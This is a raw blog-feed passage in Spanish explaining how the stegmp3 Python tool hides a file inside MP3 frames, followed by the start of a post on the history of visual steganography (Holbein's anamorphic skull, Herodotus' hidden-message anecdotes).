&lt;b&gt;print&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 128, 224);font-size:85%;" &gt;\n&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;Found "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.counter) + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;/&lt;br /&gt;" frames useful for hiding."&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; (not &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.originalMP3FileName==&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;None&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;print&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"We can hide up to "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.maximum_size_for_hiding)  + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;" bytes."&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;Como se puede ver en el código anterior, la identificación se produce comparando entre si los valores a partir del 36 de cada uno de los frames y viendo si están fijados a un mismo valor. Se puede ver también que el primer frame homogéneo no se cuenta a la hora de calcular la capacidad máxima total de los frames homogéneos del fichero, esto es así porque el primer frame de este tipos se utilizará para codificar el tamaño del fichero oculto.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Una vez localizados todos los frames homogéneos del fichero es cuando se llama a &lt;span style="font-style: italic;"&gt;hideFile()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;&lt;b&gt;def&lt;/b&gt; hideFile(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;,  data_file_name_to_hide):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;        """This function hides data_file_name_to_hide in MP3 file"""&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_name = data_file_name_to_hide&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;open&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_name)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_size = /&lt;br /&gt;(os.stat(data_file_name_to_hide))[stat.ST_SIZE]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"Data size to hide: "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_size)+ &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;/&lt;br /&gt;" bytes..."&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_size &gt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.maximum_size_for_hiding:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.createStubFrames(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_size,  /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.maximum_si&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;ze_for_hiding)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_payload = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide.read()&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.encodeHeader(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_size)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"Hiding "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_name + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;" inside of "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostMP3FileName + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"..."&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.writeStegFile(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.file_to_hide_payload)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;return&lt;/b&gt; OK&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si &lt;span style="font-style: italic;"&gt;hideFile()&lt;/span&gt; detecta que el fichero que se pretende ocultar excede la capacidad de los frames homogéneos presentes en el fichero de sonido portador, llama a &lt;span style="font-style: italic;"&gt;createStubFrames()&lt;/span&gt; para crear frames homogéneos adicionales hasta conseguir la capacidad de&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;seada.&lt;br /&gt;&lt;br /&gt;Una vez que se ha asegurado que hay suficientes frames homogéneos como para ocultar el fichero deseado, se procede a llamar a &lt;span style="font-style: italic;"&gt;encodeHeader()&lt;/span&gt; con el fin de guardar en el primer frame homogéneo el tamaño del fichero ocultado:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;&lt;b&gt;def&lt;/b&gt; encodeHeader(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;, size):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;        """This function encodes file to hide size in the very first /&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;STEGMP3_HEADER_SIZE bytes of the first frame capable for hiding"""&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;for&lt;/b&gt; index,  frame in &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;enumerate&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;if&lt;/b&gt; frame.homogeneous: &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;#We are searching just for first /&lt;br /&gt;homogeneous frame only.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.size_packed = struct.pack(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'=L'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;, size)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                frame.data = frame.data[:DATA_OFFSET] + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.signature + /&lt;br /&gt;frame.data[DATA_OFFSET + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.signature_length:]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                frame.data = frame.data[:DATA_OFFSET + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.signature_length] /&lt;br /&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.size_packed + /&lt;br /&gt;frame.data[DATA_OFFSET + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.signature_length + STEGMP3_HEADER_SIZE:]&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.frame_list[index] = frame&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;break&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Hay que resaltar el uso, tanto en esta función como en &lt;span style="font-style: italic;"&gt;writeStegFile()&lt;/span&gt;, de la variable &lt;span style="font-style: italic;"&gt;signature&lt;/span&gt; como firma. Su uso se debe a que, una vez rellenados los frames homogéneos con los datos a ocultar su contenido se vuelve variable por lo que ya no vale el mé&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;todo que hemos usado hasta el momento para distinguirlos. Por eso es necesario marcar con una firma cada frame homogéneo utilizado. A la hora de extraer el mensaje oculto, la función &lt;span style="font-style: italic;"&gt;searchForHostFrames()&lt;/span&gt; localizará los frames con datos ocultos gracias a que su contenido comienza con dicha firma.&lt;br /&gt;&lt;br /&gt;Una vez hecho todo esto es cuando ya se puede ir recorriendo la lista de frames homogéneos volcando en ellos el contenido del fichero a ocultar mediante la llamada a &lt;span style="font-style: italic;"&gt;writeStegFile()&lt;/span&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El resultado se puede ver en el siguiente volcado hexadecimal del contenido de un fichero MP3 con datos ocultos:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic;"&gt;(Pinche en la imagen siguiente para ver el diagrama con mayor resolución)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;pre&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/S6V4NCZcfVI/AAAAAAAAAMs/5LPMX9kPOO8/s1600-h/frame_homogeneo_con_datos_ocultos_blogger.png"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 405px; height: 222px;" src="http://4.bp.blogspot.com/_czXkQpCMagk/S6V4NCZcfVI/AAAAAAAAAMs/5LPMX9kPOO8/s400/frame_homogeneo_con_datos_ocultos_blogger.png" alt="" id="BLOGGER_PHOTO_ID_5450895089379081554" border="0" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;Fíjese por último que la cadena que utiliza por defecto stegmp3 para marcar los frames homogéneos utilizados es &lt;span style="font-style: italic;"&gt;&amp;gt;&amp;gt;D6NT3&amp;lt;&amp;lt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Igual que en el caso de stegaudio, no voy a comentar nada del proceso de extracción ya que es lo mismo que el de ocultación pero a la recíproca.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-6849229098774108455?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pqlp_0mHM1CQVWXo_v68tDIAqM4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pqlp_0mHM1CQVWXo_v68tDIAqM4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pqlp_0mHM1CQVWXo_v68tDIAqM4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pqlp_0mHM1CQVWXo_v68tDIAqM4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/tYXG0Mj1Ivw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/6849229098774108455/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=6849229098774108455" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/6849229098774108455?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/6849229098774108455?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/tYXG0Mj1Ivw/esteganografia-sonora.html" title="Esteganografía sonora" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_czXkQpCMagk/S6QuOZmV4BI/AAAAAAAAAMU/FNoxf1RKi0s/s72-c/Old+Man+in+front+of+speakers.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2010/03/esteganografia-sonora.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcGR3syeCp7ImA9WxBRGEw.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-3543469611073010981</id><published>2010-01-04T22:51:00.032+01:00</published><updated>2010-01-06T21:33:46.590+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-06T21:33:46.590+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><category scheme="http://www.blogger.com/atom/ns#" term="esteganografía" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><title>Esteganografía visual</title><content type="html">Ya expliqué en qué consistía la esteganografía en uno de mis &lt;a href="http://danteslab.blogspot.com/2008/10/esteganografa-de-red.html"&gt;artículos&lt;/a&gt; anteriores. En aquel caso exploramos el arte de ocultar información en el tráfico usual de una red, pero esta no es sino una modalidad muy reciente del arcano arte de ocultar información entre lo cotidiano. Hasta llegar a  ese punto, la esteganografía se enfocó a ocultar sus mensajes &lt;i&gt;a los ojos&lt;/i&gt; de los demás... burlar a sus oídos y ya no digo a sus &lt;i&gt;sniffers&lt;/i&gt; vendría mucho después.&lt;div&gt;En uno de mis próximos artículos trataré la esteganografía sonora, pero en este nos enfocaremos en la visual.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ejemplos artísticos de mensajes ocultos a la vista hay muchos. A veces se jugaba con la perspectiva, como en el cuadro de Holbein "Los embajadores" que visto de frente es un retrato habitual en el que sólo llama la atención una mancha bastante rara entre los protagonistas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/S0Jyu6bb9HI/AAAAAAAAALA/Vn213mEsaow/s1600-h/Holbein-ambassadors.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 394px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/S0Jyu6bb9HI/AAAAAAAAALA/Vn213mEsaow/s400/Holbein-ambassadors.jpg" alt="" id="BLOGGER_PHOTO_ID_5423023051591382130" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt; Mirando el cuadro en el ángulo correcto, aparece una calavera (aproximadamente desde abajo y a la izquierda ya que el cuadro estaba pensado para ponerse en la pared de una escalinata curva interior):&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/S0JzfKGa28I/AAAAAAAAALI/QL22jGiNpQ0/s1600-h/Skull-Ambassadors.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 165px; height: 167px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/S0JzfKGa28I/AAAAAAAAALI/QL22jGiNpQ0/s400/Skull-Ambassadors.jpg" alt="" id="BLOGGER_PHOTO_ID_5423023880431918018" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;br /&gt;En este caso se usó una técnica de perspectiva denominada &lt;a href="http://es.wikipedia.org/wiki/Anamorfosis"&gt;&lt;span style="font-style: italic;"&gt;anamorfosis&lt;/span&gt;&lt;/a&gt; para ocultar el mensaje del artista de que por mucho que el hombre se ilustre y estudie su mundo (simbolizado ello en los instrumentos de la mesa), la muerte siempre está presente y se cobrará su tributo (la calavera).&lt;br /&gt;&lt;br /&gt;El historiador griego &lt;a href="http://es.wikipedia.org/wiki/Her%C3%B3doto"&gt;Herodoto&lt;/a&gt; citaba un par de ejemplos tempranos de esteganografía utilizada por los griegos para ocultar mensajes en los que se describían los planes persas de invasión. Uno de esos ejemplos describía como un griego tatuó el mensaje secreto de alerta en la cabeza rapada de uno de sus esclavos, dejó que le volviese a crecer el pelo y lo envió de camino a Grecia para avisar. Teniendo en cuenta lo que tarda el pelo en volver a crecer lo suficiente y el tiempo que implicaba cualquier tipo de viaje en aquella época o bien el mensaje no era tan urgente o es sencillamente una patraña. Otro ejemplo, más verosimil, es el que relata como el espía grababa el mensaje en una tablilla de cera sin ella y luego tapaba el mensaje añadiendola. Luego podía escribir un mensaje inofensivo en la cera de la tablilla para engañar cualquier inspección. Para acceder al mensaje sólo era necesario derretir la cera.&lt;br /&gt;&lt;br /&gt;En tiempos más modernos es bastante habitual ver películas de espías que dejan mensajes en espejos cubiertos de vaho. Al desaparecer este, el mensaje se vuelve 